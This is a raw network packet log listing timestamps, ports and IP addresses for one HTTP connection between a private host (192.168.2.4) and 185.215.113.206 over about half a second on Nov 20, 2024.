Nov 20, 2024 12:57:57.042831898 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.042840004 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.042840004 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.042841911 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.042854071 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.042856932 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.042865992 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.042876959 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.042886019 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.042886972 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.042898893 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.042908907 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.042916059 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.042916059 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.042921066 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.042933941 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.042962074 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.042962074 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.043020964 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.043507099 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.043518066 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.043528080 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.043539047 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.043555021 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.043561935 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.043565989 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.043577909 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.043589115 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.043598890 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.043600082 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.043601036 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.043611050 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.043615103 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.043622971 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.043632984 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.043644905 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.043663979 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.043663979 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.043684959 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.164904118 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.164922953 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.164985895 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.164997101 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.165009975 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.165060997 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.165064096 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.165064096 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.165075064 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.165086031 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.165117979 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.165117979 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.165210009 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.165220022 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.165230989 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.165343046 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.165354013 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.165364027 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.165364027 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.165384054 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.165394068 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.165402889 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.165402889 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.165448904 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.165448904 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.165448904 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.165461063 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.165489912 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.165546894 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.165558100 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.165602922 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.165602922 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.165622950 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.165633917 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.165745974 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.165755987 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.165767908 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.165779114 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.165779114 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.165862083 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.165874004 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.165884972 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.165885925 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.165920973 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.165920973 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.166069984 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.166079998 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.166091919 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.166102886 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.166115046 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.166135073 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.166135073 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.166214943 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.166224003 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.166234970 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.166245937 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.166254044 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.166265965 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.166294098 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.166294098 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.166472912 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.166484118 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.166495085 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.166505098 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.166516066 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.166526079 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.166539907 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.166539907 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.166599035 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.166759014 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.166769981 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.166779995 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.166790009 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.166800976 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.166810036 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.166820049 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.166827917 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.166827917 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.166831017 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.166842937 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.166855097 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.166873932 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.166873932 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.167097092 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.167186022 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.167196989 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.167207956 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.167216063 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.167224884 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.167227983 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.167239904 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.167251110 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.167262077 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.167273045 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.167275906 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.167275906 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.167332888 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.167543888 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.167556047 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.167566061 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.167577028 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.167588949 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.167597055 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.167608023 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.167608023 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.167680979 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.167860985 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.167872906 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.167884111 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.167893887 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.167911053 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.167918921 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.167918921 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.167922974 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.167934895 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.167946100 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.167954922 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.167958021 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.167958021 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.167973042 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.167983055 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.167994022 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.168000937 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.168000937 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.168004990 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.168016911 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.168025970 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.168037891 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.168039083 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.168040037 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.168112040 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.168572903 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.168584108 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.168595076 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.168605089 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.168615103 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.168625116 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.168649912 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.168649912 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.168703079 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.168714046 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.168723106 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.168734074 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.168740988 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.168740988 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.168745041 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.168757915 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.168768883 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.168780088 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.168780088 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.168780088 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.168790102 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.168801069 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.168812037 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.168823004 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.168831110 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.168831110 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.168881893 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.169452906 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.169464111 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.169475079 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.169485092 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.169495106 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.169504881 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.169512987 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.169512987 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.169517994 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.169536114 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.169821978 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.169848919 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.169859886 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.169886112 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.169889927 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.169898033 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.169908047 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.169919014 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.169929028 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.169939995 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.169943094 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.169943094 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.169950962 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.169961929 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.169970989 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.169981003 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.169986963 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.169987917 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.169992924 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.170005083 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.170015097 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.170025110 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.170027018 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.170027018 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.170037031 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.170049906 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.170068026 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.170068026 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.170382977 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.252979040 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.252995968 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.253009081 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.253084898 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.253089905 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.253094912 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.253108978 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.253119946 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.253133059 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.253154039 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.253237963 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.253248930 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.253259897 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.253269911 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.253271103 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.253298044 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.253494024 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.253504992 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.253515959 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.253526926 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.253536940 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.253537893 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.253554106 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.253570080 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.253657103 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.253669024 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.253690004 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.253701925 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.253774881 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.253784895 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.253796101 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.253806114 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.253808975 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.253835917 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.289341927 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.289356947 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.289371014 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.289397955 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.289422035 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.289710045 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.289722919 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.289735079 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.289746046 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.289750099 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.289762974 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.289763927 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.289776087 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.289788008 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.289794922 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.289798975 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.289818048 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.289824963 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.289825916 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.289835930 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.289850950 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.289866924 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.321983099 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.327090979 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.539634943 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.539655924 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.539665937 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.539679050 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.539690971 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.539745092 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.539751053 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.539762974 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.539776087 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.539786100 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.539793968 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.539798021 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.539818048 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.539838076 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.539935112 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.539946079 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.539957047 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.539963007 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.539993048 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.540059090 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.540070057 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.540086985 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.540108919 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.540183067 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.540191889 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.540203094 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.540211916 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.540215015 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.540226936 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.540226936 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.540252924 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.540417910 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.540429115 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.540440083 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.540450096 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.540461063 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.540462017 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.540471077 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.540479898 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.540494919 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.540518999 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.540887117 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.540898085 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.540908098 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.540918112 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.540929079 CET	80	49756	185.215.113.206	192.168.2.4
